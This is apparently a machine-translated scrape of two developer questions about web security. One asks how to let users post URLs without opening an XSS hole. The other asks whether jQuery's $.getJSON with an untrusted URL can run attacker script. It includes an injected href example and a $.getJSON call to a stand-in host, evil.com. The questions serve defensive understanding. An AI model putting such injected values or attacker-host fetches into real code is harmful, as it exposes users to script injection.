我们有一个高安全性应用程序,我们希望允许用户输入其他用户将看到的URL.
这引入了XSS黑客的高风险 - 用户可能会输入另一个用户最终执行的javascript.由于我们持有敏感数据,因此必须永远不会发生这种情况.
处理这个问题的最佳做法是什么?单独的安全白名单或转义模式是否足够好?
有关处理重定向的任何建议(例如,在关注链接之前,警告页面上的"此链接在我们的网站之外"消息)
有没有支持用户输入链接的论据?
澄清:
基本上我们的用户想要输入:
stackoverflow.com
并将其输出给另一个用户:
<a href="http://stackoverflow.com">stackoverflow.com</a>
Run Code Online (Sandbox Code Playgroud)
我真正担心的是他们在XSS黑客中使用它.即他们输入:
警报( '砍死!');
所以其他用户获得此链接:
<a href="alert('hacked!');">stackoverflow.com</a>
Run Code Online (Sandbox Code Playgroud)
我的例子只是解释风险 - 我很清楚javascript和URL是不同的东西,但通过让他们输入后者,他们可能能够执行前者.
你会惊讶于你可以用这个技巧打破多少网站 - HTML更糟糕.如果他们知道处理环节上做到他们也知道消毒<iframe>,<img>并巧妙的CSS参考?
我在高安全性环境中工作 - 单个XSS黑客可能会给我们造成很大的损失.我很高兴我可以制作一个正则表达式(或使用迄今为止的一个很好的建议),可以排除我能想到的一切,但这还够吗?
$.getJSON()使用来自不受信任的来源(例如另一个用户)的URL参数调用jQuery是否安全?换句话说,$.getJSON()使用不受信任的URL 调用是否安全?我会小心不要相信响应并安全地处理响应,但是呼叫本身是否会带来安全风险?
换句话说,我说的是:
$.getJSON(url_from_user, function(...) { ... handle response safely ...});
Run Code Online (Sandbox Code Playgroud)
要么
$.getJSON('http://evil.com/foo.json', function(...) {...});
Run Code Online (Sandbox Code Playgroud)
如果某个不受信任的用户为url_from_user某个恶意控制该evil.com网站的恶意值提供恶意值,这是否允许代码注入或XSS ?同样,假设返回的任何JSON对象都将被安全地处理.
getJSON的文档没有说明这种情况是否安全.逻辑上,我希望这个场景是安全的,因为我希望jQuery的实现通过XHR下载JSON对象的文本,使用安全的JSON解析器解析此文本,然后返回JSON对象.
但是,在查看jQuery源代码之后,我对这是否安全存有疑问.浏览jQuery的源代码,看起来这种情况可能会允许XSS.getJSON()的代码有点复杂(参见src/ajax.js),但它似乎选择了"transport"然后用它来发送AJAX请求.我看到src/ajax/script.js注册了一个名为"script tag hack transport"的传输.此传输大致如下:它向文档添加脚本标记,例如<script src="http://evil.com/foo.json">,并注册在下载的脚本执行时运行的onload处理程序.换句话说,如果站点由攻击者控制,"脚本标记黑客传输"从根本上是不安全的:它将攻击者控制的脚本包含在文档中并执行它.除了脚本标记hack传输之外,还有一个使用浏览器的XMLHttpRequest()API的XHR传输.我很难遵循扭曲的逻辑,该逻辑确定将使用"脚本标记黑客"传输的条件.
那么,回到我原来的问题,$.getJSON()使用用户提供的URL 调用是否安全?如果在某些情况下它可能不安全,在什么条件下(例如浏览器版本)是安全/不安全的?